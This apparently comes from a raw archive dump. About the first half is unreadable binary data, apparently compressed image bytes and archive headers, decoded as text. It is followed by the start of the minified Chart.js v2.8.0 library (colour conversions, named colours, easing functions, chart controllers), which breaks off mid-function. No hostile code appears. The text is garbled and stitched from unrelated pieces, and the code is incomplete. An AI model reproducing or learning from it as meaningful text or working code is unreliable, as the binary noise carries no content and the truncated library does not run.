2N[^7lӡ9 )g&$I 5b(}N@;ibw'eu-FO3.ggen Ƥ"W5{jF% iwuFY93jQZ+ :!//#~Q6ت]$QF"Qw;u90;cOq;g]?Rc$g`Ro$ vQz1u7ăM9@`A0ApW8"8&I  J@ 6jqe-FnIdlEG q;5ڿ,W7Z,65$[}>vN|q ^?>2 $zI ,׭uKxS.xcv̜@#jlDXzuI_rRY H@ٜQ5'ZğrE?٣Jbl[~+=X]X[0cZ[=ࢾP#axeMyѲG&O3X'o=D(H"=iᔏQ^%2uЫߎi3#ݠJ!w8';,%+"+#dVGYk"8E]Y]&H MLeW4}~լF)Ga54"%4{6s#Zƭ8H%LXpO`K's(KI$;/.H> |fg^"XsYg$$wNI;,K(9/ JK䪂sY$wIvYI VTdFV;u FrwUUn `(qF!1x{S\HB,rĞg>n1rOgD0^' Cx׺ q^D1P F]UHB>u-avBRXӋA )n&_1KxI< NG1AѽVbkP%l.6ZH׋ QyWX5X;1XJi s40g5纞&cQfoiZGo:3<.`v+#p=SS$d|T][W4;FGh٩dI͎9:Tx-}.^ _K|( 7fO2k3 -]4dԯnfe5x(OUFm{QSiڿ5a<al-P$C}CƳg~c'( '+\J<kX\` ?gI9e P~w-F ne${5)~<q43 ΥO5ۡYb&"͇A*CQ{<끘&PY@PS6k?2(YwcBhZB7y7F(7Vk'̐f9o9 n'!?]j_C܌ϺOi9$$4HZ%c#G]y#kW~gGw˜ֳ^śX~tQ~ 8I>ɡrr5lsouҹXE|(.[fA;|ޕ۔~#T٢ߋW8~Ʌj#6`җuI>~MfY*ts̞< ٦?_O<}vEdVEfY5+c{NOyI{M Ð[eG_'#­od3%D.yjC!>tMH[ AV\,l߭fJY5̚ɬɬ_XQt]2(B?L@77+7ʢi_{p/fB˟Ml#<7"﮺]mf%*y>9<Ȯ狰6GսDG*yo~Q.r˸ G#ш"PJO*+Sdp4.yP4.; bmΦ bkfvh/W5X5D`9F`ѼnV4or 7SB5y'4YyQ́Fw̞4oG<4uq9M.qTD$$䜝3ޛFol'\vGRGa4MBfa+JnbRg l{}F+ N3$';6=[Grbo v{Iup͎RjRn5oiu( E-ճ 8=~`КU#PP~"ih`p(MHEH% #;|EqXV+7eoh@?LQn$onV4otchLwRj`>`SCW SGRnG4u>JcQ;J(\=vykQ`QJC+UV+Q'3I/(rk][F7+#P6rGQI< ѷ&i |r*kHAܧ zU@)6 xe`Am۠"t [@A$-_ 짚|HhjcaW GoerҭO뒾md[>}.BѼ([~kB~Fl=Z:r9GS^O̊:B2hWruEgݏ2M`p"nO!Nۡs4,ńN q@^ mbݭjBCjtxݑЫVwXrYQ12I= t_!|$^:^~1:HyQ0)O̿)ه Z\XF T#ۑ M [atwPg; 0>KCLG44a9,FV0rf16p/t;x=Ϲ^tN3iǺS隅lRh =_xTP1(dE-Vԧ ʢ-+MѬRݭbK0+ֶ Si0~stنѰO&lM{|oMa[X< `5wh#3?4-_…KP†pw2hiwʃ&;?%4sBoByklJ@'ՍmhMhonD1KXnjn۸e5@RΗ@`;$4٦&u⟁zgfiu% OF~ٞ'OʇC}EKNOCZbLI?Ԛfe䂖4A@9Q=i$<]&YVp? sYYMdףvpf_GVh3 . *09 =^΍kcԶ4@^oگc6ta3bjwK^Mے䁼@H N `ڕsR$ Ė$rIvt_M9kWgL"Keods) %ԫ )o#>"6ZXXXH$"Vuu7~mEh=+Ȟ˰Hyt7L5 59{CCSW~5x:|Z1 k`d2kGL]H=UE j2D=dB*J! 0AO4^ĄIxH4^bL#>"ҍ5 +Sq_ \Sj vWWYΌ[4)ipzi,77"3cs<+4n>GR7VI5Om=)he9V#-`ިkN_'n;Ğ'fc%@|F*"'^}\x  lkF?"lw*>sҏttO_s˸44{Ohi\gZ].ow?0)lmSĒkS@@#kb'2.Ⱦ(_؝p};b8u#*G<3׉q~"C?liØ=\g&7?>K|CVEieek{XnF^B5 QBO0|RP⤃*\-ueåIA#{{dO2FXSL3$aj׷*R tLVv=9M[ב'tQ_?cr0;:%tR{Qɽm +}؜pR̪;'wYs,$+ҧqп0 HEdqfͧ2{osP $8up?rH#;TPI$ Q#ñjw*Gy\{1$vM) "1ޣT(Gfzlo!8wҺ+) K\Ѱt8#q~XU7@(ڝОh):_j/w-k!VTI U9O3*)f Zְ8-vo<)#ce5 Df>=;# W=B1kv>VHkQ7׳O$>ݳ@Qk$(&}`T.! AoeE#e 4yt+3! #juY"pzU~c,l78ԳCY|UyP15!X<Fb?4ARA{A-bUMgEm+xb9Tvt$gE)?i Waүw}e&xa-"** *ʮ0hȑR!Rb$]opa~(w0Al"XoQ%>gF:5 g/ݐ9'fΎZ(eO:{tx0ѹG#aj" QwuF6*@H.conRͳN8_ITq(|e+\㶡#aaI,rLAR78WFL}}wHxW昌r:?lԌ-!PCy< 'gGmœ ɢ$ԐOH{~',iypΉZ{!쯫.HOΥHe)Fs,Gb  E-v O#B~/fu*0#=-{o|첵{ۨm{wHp=*Z9`ae R$AGx;O Wxn<2+>uXa({̚(]N;I`Ob˲[#=xc8c\"(U:E]etn&7 w E #TsE(r+z2{REOx/m\_K8*=ޏi&<–4920 Z5iaKoQ7ýIuȲIkiGЙ9.65=8Uޡ$0Q&S{y*]J>$I$$䝖LݫImҕd~>WWήm-%1O#;#%xf#DoCUO҅" N45_y_}飩ZhvpV.\ Qx@>mGTHFuQmL,ğG#Fwc2Mh̷7x3oDO]C6%>B_5yjY2[zK@2G$p+OЯb}鶺|]HǵŵF9WN Won_=\^\[{z#z@@{ ۢ<85iK]L#vl!xi)j:V:1 !Q@A02BPq"3aRSbrC#$?d6~h#b7f׻L4!v!qB7yf'iuaECȃ1 B-a@d H) *«<'2x'2x\"B>:/znFlk43L43OpBO}mPv6Mͳl6ͳlbw$`v@TOVMop/AgtC|*υI-dq{1bzbNwݲl򤫧mwEb>)SgЇCn[wޅ"ăa60`ȒzDZVPǡ)чz 2p &F,<^@ BWܡՎZ}Yf `h<~;u`mz`(=XwTǤY_/[fVVŁ#=˗CF=㬯SC{N}ðw>w>;dܒjψ:ng6{͞an:{t/Au:|se}HE4H0bM>`XY=i зuGO}dPYi-_B*X*M-bF 6Mm}]~p,`،:1"M3L4{;&ɳlmUg4b$B He .a߹d=Yif`TE+m4[ŭnlN7iw HMz{MK54MwixYgxYb'vlAAXfdgL_*=#t>Y:ۨՁ4@^*¤*OMǯrX@H1{!ܟI9k<]"Lw㥽 tem+gV!{{͓g5=#Hitء^Zw  ~U>+ze]VWXucp8f>{&ٸz1X,ukw BrL1ǫ+k[@ lW} X@wRY۟zxqPI9.f~gENW. ez+v"ڝ(2![|ԜZ|Lb[hG&ZPV}BFUkʮT>]o WL]Ћ/՝aͲ9ҽ'3!L)ggcWf9/[ *D6& >pc;A1WLXVV#)&mpf:J4kTb$O1)*)$4ܘ8J7 ӿ~>eáJw=;GIܸOn_g|/>CwJ|^jeyF^ Jԁԏq .sjOj4,?cTz6Opik=WJ[R|oᩌ}_ * xYSAIol6Zg^|,>+7OBT|B&vLVfluzy1.T&:T%M=j;4w\umffl mg~(}_"z$jjk%tn/-NY|F3f[o@61nҦȐc^בNJ޶uW} bcg/7;6SZ7T80ۺ}WueLF/N.k-g3-3Vٛ 5vV3u潾]+ϟ~e*jq3?,tKkjf\Tl̙-ͬ2l m ږDe9ށzsI'eikQgb6ϞiLsC)}at^ɗDZz2hy*}FRŨXvTl>g-N&L+|׶OkiLGL 1L8)SʥLC9e\tW%JV<'0lQI92oiYJ7RR*@'#3>ulFc&cȅzX: ̼6gؙqC}o)O÷tLlW?^VtL tl-g9|ʝmwͿ}~.S|I){va1佳cme?|fԔ~DYA;b9W深Xݜnʞh(As_+㋚3:w=X|\+Qg `~C{} r,Q&N'.Z=ɇ҈:3qXloBz3c<8hiwLWy)hJ'RUvO 5U 91Y.|J:f 9oLx0?9RkC&LVe\#jd1J{+˞Bt,\YMʼnɶ}&"KvW 2Pҧ3SȘ썽]iOV?[Knߴf[_Ӥ i ia6eR_>fz/jul̼V}:<{W#;+[:ub_ d4Jsx:{vz_Jn=W(w''W='`~>}j [-0xUxX=HҏИqWcOOq_i>üW u*B:aw>}N]n_z3 W?3ַ D3l; It: m|udzk@@LSO\wkXr]YO>͍C[;8y{|5ψt}#;Gı'PꑽrЎcG5ow=_|>FMxq{ٜziF)ZWBz{;.(̜|7Y~oZY-y2OùUh;ɖKL_6?. CʷLLfr^JvEYN׮)Ï^u%b5LǮʍ~mNL K,WmчR 'r5ess0.i>!%{OVWƷL Q/\u?ʯ>C#:Х?z#׮jvu nӧf[yV_?/'\>^|LLl +B`a~y4]RM)Ɛemu-ݟG81xl;ͦf;\5?d濏$|s"llCk8ÏBt=h~:Gc t_AwXKǛu +uW~*C9^!Iu#jlG.3N<'}>cϿ҄yh򳿎9nzܯ':nYeBGc;ꓓG|wXk?B=*/INćN7+&ˇjDѝȵⲠl!z'y<l61V'IWƳZ;5ʕ& 4Е4y^DMvF h7 ;7~F lv'fp/kPȯ%fL'/ټY/$+ Ff=SSL43L5QkM>Ы @ Ƒ4M><,0 ?21 !AQ0@BP2Ra"q3r#b?3L4~P '6{g6{dB4cK=r{Rw]#cA#ec#h=XK]~p$,1ƉVV-`O;NgggcKHe}x+ҫ l(zI6Md6MgcQ1HZZTH,)¡ٲnyL4MD4MM3̃9+oF5"?WQ_"!Cyfi&6OMg6R9Oy)+PW5Yăq4guތv}]k>ŚXȖJ;G%mOǗO*|L_r1404J`pkMrVB&vKNŁ%2Zφo$;TGvƽf#F"vƔfe9e-/ nç}m ¬p>ZN,|?#Ggg^o1tnLy2m%jKtuuJPJrvRpGc<7qƖ&fPISvnG=:4y;|Z>fٲlaá_YAXIz̘cN_[^ 7KqN~p{Xܗ*q+R*/v͖t?Z^8SyO)<)K^jL8sU̗of,[LHz`e)lp|( fr[G헷 |?ik=)F*G1)K^Bac@UN;u_%!n7 h&h=BxÂ|81UY{wt'RAZEYn^ˈ粃xI^qS^:lTۼN B1e1$VPk0_i4ϙmU'MOSK_Vamgw4N Ơwei]7%:LSWIl%άHҽZS:pKZBgtyVaKgń*Ku|7a)Wq %R^lM/m#yff4αSY'iX%EVa{h~2C*f:7RP _Eh3޻d<=eJݝ%w~ǃs7%/UG 䨛%JTSzUїh'IVg-MBwջ諪7:Xi113I+o-ﱰhKg/E]{GJ`1YHpsԆJ?t-_ZwjisNnq2[_f|]bw_5Nm-H|LV|Jz 멓v/UmZ0zè}kjGvXgY/&F[w͓qI9a[[1jJ̆sٖ"q\tV[Q?L1rw.s^>i}ٝ{3GaKvW^ezcr]rR=@pG=Uv'ֆМ ]WȈl+}Xu%za?S]z=q>=~1i7͈B=AXa[[aLlq>L[OG$*h"vb+gLK[;GcǧzGk#,[ݝ&w޷6谥*GVW}ezJc7͆=N3er|}H :֠>akUؤSv?uNOҳ?s>S1X{3a~ρV| 'Y޳ywcgqE2=]+R=Voϕogg wxJ&7vBnUwRtǓQF=7#>K 4c4kcњ}{Bxc0x3ãb}lã{æ}È+S쿝\o$﫵x||~-]$f>)V:~uUSb8=iI`e=އ6#wǗv{ |=G7g~Y'mޝ5G}9j(篠Jm˚gMQ=a-W |8aKZŖ|0^=R7å=+Rgk2~8/j!]e|846Rww+HV|;̹\.5:5MOPg?IfjW!txETHY8Rr^stVo3G%6`)) N.>gb򬵶qOXP: ƬAHJw#W%Y N1)rƦC'acQYwv|#- I,dx?Kz0_Flmד9MB,>g6{OX؋) .MN;CЍ?PK,Y\1d1djs/chart.min.jsnu[/*! * Chart.js v2.8.0 * https://www.chartjs.org * (c) 2019 Chart.js Contributors * Released under the MIT License */ !function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e(function(){try{return require("moment")}catch(t){}}()):"function"==typeof define&&define.amd?define(["require"],function(t){return e(function(){try{return t("moment")}catch(t){}}())}):t.Chart=e(t.moment)}(this,function(t){"use strict";t=t&&t.hasOwnProperty("default")?t.default:t;var e={rgb2hsl:i,rgb2hsv:n,rgb2hwb:a,rgb2cmyk:o,rgb2keyword:s,rgb2xyz:l,rgb2lab:d,rgb2lch:function(t){return x(d(t))},hsl2rgb:u,hsl2hsv:function(t){var e=t[0],i=t[1]/100,n=t[2]/100;if(0===n)return[0,0,0];return[e,100*(2*(i*=(n*=2)<=1?n:2-n)/(n+i)),100*((n+i)/2)]},hsl2hwb:function(t){return a(u(t))},hsl2cmyk:function(t){return o(u(t))},hsl2keyword:function(t){return s(u(t))},hsv2rgb:h,hsv2hsl:function(t){var e,i,n=t[0],a=t[1]/100,o=t[2]/100;return e=a*o,[n,100*(e=(e/=(i=(2-a)*o)<=1?i:2-i)||0),100*(i/=2)]},hsv2hwb:function(t){return a(h(t))},hsv2cmyk:function(t){return o(h(t))},hsv2keyword:function(t){return s(h(t))},hwb2rgb:c,hwb2hsl:function(t){return i(c(t))},hwb2hsv:function(t){return n(c(t))},hwb2cmyk:function(t){return o(c(t))},hwb2keyword:function(t){return s(c(t))},cmyk2rgb:f,cmyk2hsl:function(t){return i(f(t))},cmyk2hsv:function(t){return n(f(t))},cmyk2hwb:function(t){return a(f(t))},cmyk2keyword:function(t){return s(f(t))},keyword2rgb:w,keyword2hsl:function(t){return i(w(t))},keyword2hsv:function(t){return n(w(t))},keyword2hwb:function(t){return a(w(t))},keyword2cmyk:function(t){return o(w(t))},keyword2lab:function(t){return d(w(t))},keyword2xyz:function(t){return l(w(t))},xyz2rgb:p,xyz2lab:m,xyz2lch:function(t){return x(m(t))},lab2xyz:v,lab2rgb:y,lab2lch:x,lch2lab:k,lch2xyz:function(t){return v(k(t))},lch2rgb:function(t){return y(k(t))}};function i(t){var e,i,n=t[0]/255,a=t[1]/255,o=t[2]/255,r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r;return s==r?e=0:n==s?e=(a-o)/l:a==s?e=2+(o-n)/l:o==s&&(e=4+(n-a)/l),(e=Math.min(60*e,360))<0&&(e+=360),i=(r+s)/2,[e,100*(s==r?0:i<=.5?l/(s+r):l/(2-s-r)),100*i]}function n(t){var e,i,n=t[0],a=t[1],o=t[2],r=Math.min(n,a,o),s=Math.max(n,a,o),l=s-r;return i=0==s?0:l/s*1e3/10,s==r?e=0:n==s?e=(a-o)/l:a==s?e=2+(o-n)/l:o==s&&(e=4+(n-a)/l),(e=Math.min(60*e,360))<0&&(e+=360),[e,i,s/255*1e3/10]}function a(t){var e=t[0],n=t[1],a=t[2];return[i(t)[0],100*(1/255*Math.min(e,Math.min(n,a))),100*(a=1-1/255*Math.max(e,Math.max(n,a)))]}function o(t){var e,i=t[0]/255,n=t[1]/255,a=t[2]/255;return[100*((1-i-(e=Math.min(1-i,1-n,1-a)))/(1-e)||0),100*((1-n-e)/(1-e)||0),100*((1-a-e)/(1-e)||0),100*e]}function s(t){return _[JSON.stringify(t)]}function l(t){var e=t[0]/255,i=t[1]/255,n=t[2]/255;return[100*(.4124*(e=e>.04045?Math.pow((e+.055)/1.055,2.4):e/12.92)+.3576*(i=i>.04045?Math.pow((i+.055)/1.055,2.4):i/12.92)+.1805*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)),100*(.2126*e+.7152*i+.0722*n),100*(.0193*e+.1192*i+.9505*n)]}function d(t){var e=l(t),i=e[0],n=e[1],a=e[2];return n/=100,a/=108.883,i=(i/=95.047)>.008856?Math.pow(i,1/3):7.787*i+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(i-n),200*(n-(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116))]}function u(t){var e,i,n,a,o,r=t[0]/360,s=t[1]/100,l=t[2]/100;if(0==s)return[o=255*l,o,o];e=2*l-(i=l<.5?l*(1+s):l+s-l*s),a=[0,0,0];for(var d=0;d<3;d++)(n=r+1/3*-(d-1))<0&&n++,n>1&&n--,o=6*n<1?e+6*(i-e)*n:2*n<1?i:3*n<2?e+(i-e)*(2/3-n)*6:e,a[d]=255*o;return a}function h(t){var e=t[0]/60,i=t[1]/100,n=t[2]/100,a=Math.floor(e)%6,o=e-Math.floor(e),r=255*n*(1-i),s=255*n*(1-i*o),l=255*n*(1-i*(1-o));n*=255;switch(a){case 0:return[n,l,r];case 1:return[s,n,r];case 2:return[r,n,l];case 3:return[r,s,n];case 4:return[l,r,n];case 5:return[n,r,s]}}function c(t){var e,i,n,a,o=t[0]/360,s=t[1]/100,l=t[2]/100,d=s+l;switch(d>1&&(s/=d,l/=d),n=6*o-(e=Math.floor(6*o)),0!=(1&e)&&(n=1-n),a=s+n*((i=1-l)-s),e){default:case 6:case 0:r=i,g=a,b=s;break;case 1:r=a,g=i,b=s;break;case 2:r=s,g=i,b=a;break;case 3:r=s,g=a,b=i;break;case 4:r=a,g=s,b=i;break;case 5:r=i,g=s,b=a}return[255*r,255*g,255*b]}function f(t){var e=t[0]/100,i=t[1]/100,n=t[2]/100,a=t[3]/100;return[255*(1-Math.min(1,e*(1-a)+a)),255*(1-Math.min(1,i*(1-a)+a)),255*(1-Math.min(1,n*(1-a)+a))]}function p(t){var e,i,n,a=t[0]/100,o=t[1]/100,r=t[2]/100;return i=-.9689*a+1.8758*o+.0415*r,n=.0557*a+-.204*o+1.057*r,e=(e=3.2406*a+-1.5372*o+-.4986*r)>.0031308?1.055*Math.pow(e,1/2.4)-.055:e*=12.92,i=i>.0031308?1.055*Math.pow(i,1/2.4)-.055:i*=12.92,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:n*=12.92,[255*(e=Math.min(Math.max(0,e),1)),255*(i=Math.min(Math.max(0,i),1)),255*(n=Math.min(Math.max(0,n),1))]}function m(t){var e=t[0],i=t[1],n=t[2];return i/=100,n/=108.883,e=(e/=95.047)>.008856?Math.pow(e,1/3):7.787*e+16/116,[116*(i=i>.008856?Math.pow(i,1/3):7.787*i+16/116)-16,500*(e-i),200*(i-(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116))]}function v(t){var e,i,n,a,o=t[0],r=t[1],s=t[2];return o<=8?a=(i=100*o/903.3)/100*7.787+16/116:(i=100*Math.pow((o+16)/116,3),a=Math.pow(i/100,1/3)),[e=e/95.047<=.008856?e=95.047*(r/500+a-16/116)/7.787:95.047*Math.pow(r/500+a,3),i,n=n/108.883<=.008859?n=108.883*(a-s/200-16/116)/7.787:108.883*Math.pow(a-s/200,3)]}function x(t){var e,i=t[0],n=t[1],a=t[2];return(e=360*Math.atan2(a,n)/2/Math.PI)<0&&(e+=360),[i,Math.sqrt(n*n+a*a),e]}function y(t){return p(v(t))}function k(t){var e,i=t[0],n=t[1];return e=t[2]/360*2*Math.PI,[i,n*Math.cos(e),n*Math.sin(e)]}function w(t){return M[t]}var M={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},_={};for(var C in M)_[JSON.stringify(M[C])]=C;var S=function(){return new T};for(var P in e){S[P+"Raw"]=function(t){return function(i){return"number"==typeof i&&(i=Array.prototype.slice.call(arguments)),e[t](i)}}(P);var I=/(\w+)2(\w+)/.exec(P),A=I[1],D=I[2];(S[A]=S[A]||{})[D]=S[P]=function(t){return function(i){"number"==typeof i&&(i=Array.prototype.slice.call(arguments));var n=e[t](i);if("string"==typeof n||void 0===n)return n;for(var a=0;a=0&&e<1?H(Math.round(255*e)):"")},rgbString:function(t,e){if(e<1||t[3]&&t[3]<1)return N(t,e);return"rgb("+t[0]+", "+t[1]+", "+t[2]+")"},rgbaString:N,percentString:function(t,e){if(e<1||t[3]&&t[3]<1)return W(t,e);var i=Math.round(t[0]/255*100),n=Math.round(t[1]/255*100),a=Math.round(t[2]/255*100);return"rgb("+i+"%, "+n+"%, "+a+"%)"},percentaString:W,hslString:function(t,e){if(e<1||t[3]&&t[3]<1)return V(t,e);return"hsl("+t[0]+", "+t[1]+"%, "+t[2]+"%)"},hslaString:V,hwbString:function(t,e){void 0===e&&(e=void 0!==t[3]?t[3]:1);return"hwb("+t[0]+", "+t[1]+"%, "+t[2]+"%"+(void 0!==e&&1!==e?", "+e:"")+")"},keyword:function(t){return j[t.slice(0,3)]}};function O(t){if(t){var e=[0,0,0],i=1,n=t.match(/^#([a-fA-F0-9]{3,4})$/i),a="";if(n){a=(n=n[1])[3];for(var o=0;oi?(e+.05)/(i+.05):(i+.05)/(e+.05)},level:function(t){var e=this.contrast(t);return e>=7.1?"AAA":e>=4.5?"AA":""},dark:function(){var t=this.values.rgb;return(299*t[0]+587*t[1]+114*t[2])/1e3<128},light:function(){return!this.dark()},negate:function(){for(var t=[],e=0;e<3;e++)t[e]=255-this.values.rgb[e];return this.setValues("rgb",t),this},lighten:function(t){var e=this.values.hsl;return e[2]+=e[2]*t,this.setValues("hsl",e),this},darken:function(t){var e=this.values.hsl;return e[2]-=e[2]*t,this.setValues("hsl",e),this},saturate:function(t){var e=this.values.hsl;return e[1]+=e[1]*t,this.setValues("hsl",e),this},desaturate:function(t){var e=this.values.hsl;return e[1]-=e[1]*t,this.setValues("hsl",e),this},whiten:function(t){var e=this.values.hwb;return e[1]+=e[1]*t,this.setValues("hwb",e),this},blacken:function(t){var e=this.values.hwb;return e[2]+=e[2]*t,this.setValues("hwb",e),this},greyscale:function(){var t=this.values.rgb,e=.3*t[0]+.59*t[1]+.11*t[2];return this.setValues("rgb",[e,e,e]),this},clearer:function(t){var e=this.values.alpha;return this.setValues("alpha",e-e*t),this},opaquer:function(t){var e=this.values.alpha;return this.setValues("alpha",e+e*t),this},rotate:function(t){var e=this.values.hsl,i=(e[0]+t)%360;return e[0]=i<0?360+i:i,this.setValues("hsl",e),this},mix:function(t,e){var i=t,n=void 0===e?.5:e,a=2*n-1,o=this.alpha()-i.alpha(),r=((a*o==-1?a:(a+o)/(1+a*o))+1)/2,s=1-r;return this.rgb(r*this.red()+s*i.red(),r*this.green()+s*i.green(),r*this.blue()+s*i.blue()).alpha(this.alpha()*n+i.alpha()*(1-n))},toJSON:function(){return this.rgb()},clone:function(){var t,e,i=new Y,n=this.values,a=i.values;for(var o in n)n.hasOwnProperty(o)&&(t=n[o],"[object Array]"===(e={}.toString.call(t))?a[o]=t.slice(0):"[object Number]"===e?a[o]=t:console.error("unexpected color value:",t));return i}},Y.prototype.spaces={rgb:["red","green","blue"],hsl:["hue","saturation","lightness"],hsv:["hue","saturation","value"],hwb:["hue","whiteness","blackness"],cmyk:["cyan","magenta","yellow","black"]},Y.prototype.maxes={rgb:[255,255,255],hsl:[360,100,100],hsv:[360,100,100],hwb:[360,100,100],cmyk:[100,100,100,100]},Y.prototype.getValues=function(t){for(var e=this.values,i={},n=0;n=0;a--)e.call(i,t[a],a);else for(a=0;a=1?t:-(Math.sqrt(1-t*t)-1)},easeOutCirc:function(t){return Math.sqrt(1-(t-=1)*t)},easeInOutCirc:function(t){return(t/=.5)<1?-.5*(Math.sqrt(1-t*t)-1):.5*(Math.sqrt(1-(t-=2)*t)+1)},easeInElastic:function(t){var e=1.70158,i=0,n=1;return 0===t?0:1===t?1:(i||(i=.3),n<1?(n=1,e=i/4):e=i/(2*Math.PI)*Math.asin(1/n),-n*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/i))},easeOutElastic:function(t){var e=1.70158,i=0,n=1;return 0===t?0:1===t?1:(i||(i=.3),n<1?(n=1,e=i/4):e=i/(2*Math.PI)*Math.asin(1/n),n*Math.pow(2,-10*t)*Math.sin((t-e)*(2*Math.PI)/i)+1)},easeInOutElastic:function(t){var e=1.70158,i=0,n=1;return 0===t?0:2==(t/=.5)?1:(i||(i=.45),n<1?(n=1,e=i/4):e=i/(2*Math.PI)*Math.asin(1/n),t<1?n*Math.pow(2,10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/i)*-.5:n*Math.pow(2,-10*(t-=1))*Math.sin((t-e)*(2*Math.PI)/i)*.5+1)},easeInBack:function(t){var e=1.70158;return t*t*((e+1)*t-e)},easeOutBack:function(t){var e=1.70158;return(t-=1)*t*((e+1)*t+e)+1},easeInOutBack:function(t){var e=1.70158;return(t/=.5)<1?t*t*((1+(e*=1.525))*t-e)*.5:.5*((t-=2)*t*((1+(e*=1.525))*t+e)+2)},easeInBounce:function(t){return 1-Z.easeOutBounce(1-t)},easeOutBounce:function(t){return t<1/2.75?7.5625*t*t:t<2/2.75?7.5625*(t-=1.5/2.75)*t+.75:t<2.5/2.75?7.5625*(t-=2.25/2.75)*t+.9375:7.5625*(t-=2.625/2.75)*t+.984375},easeInOutBounce:function(t){return t<.5?.5*Z.easeInBounce(2*t):.5*Z.easeOutBounce(2*t-1)+.5}},$={effects:Z};G.easingEffects=Z;var J=Math.PI,Q=J/180,tt=2*J,et=J/2,it=J/4,nt=2*J/3,at={clear:function(t){t.ctx.clearRect(0,0,t.width,t.height)},roundedRect:function(t,e,i,n,a,o){if(o){var r=Math.min(o,a/2,n/2),s=e+r,l=i+r,d=e+n-r,u=i+a-r;t.moveTo(e,l),se.left-1e-6&&t.xe.top-1e-6&&t.y0&&this.requestAnimationFrame()},advance:function(){for(var t,e,i,n,a=this.animations,o=0;o=i?(ut.callback(t.onAnimationComplete,[t],e),e.animating=!1,a.splice(o,1)):++o}},xt=ut.options.resolve,yt=["push","pop","shift","splice","unshift"];function kt(t,e){var i=t._chartjs;if(i){var n=i.listeners,a=n.indexOf(e);-1!==a&&n.splice(a,1),n.length>0||(yt.forEach(function(e){delete t[e]}),delete t._chartjs)}}var wt=function(t,e){this.initialize(t,e)};ut.extend(wt.prototype,{datasetElementType:null,dataElementType:null,initialize:function(t,e){this.chart=t,this.index=e,this.linkScales(),this.addElements()},updateIndex:function(t){this.index=t},linkScales:function(){var t=this,e=t.getMeta(),i=t.getDataset();null!==e.xAxisID&&e.xAxisID in t.chart.scales||(e.xAxisID=i.xAxisID||t.chart.options.scales.xAxes[0].id),null!==e.yAxisID&&e.yAxisID in t.chart.scales||(e.yAxisID=i.yAxisID||t.chart.options.scales.yAxes[0].id)},getDataset:function(){return this.chart.data.datasets[this.index]},getMeta:function(){return this.chart.getDatasetMeta(this.index)},getScaleForId:function(t){return this.chart.scales[t]},_getValueScaleId:function(){return this.getMeta().yAxisID},_getIndexScaleId:function(){return this.getMeta().xAxisID},_getValueScale:function(){return this.getScaleForId(this._getValueScaleId())},_getIndexScale:function(){return 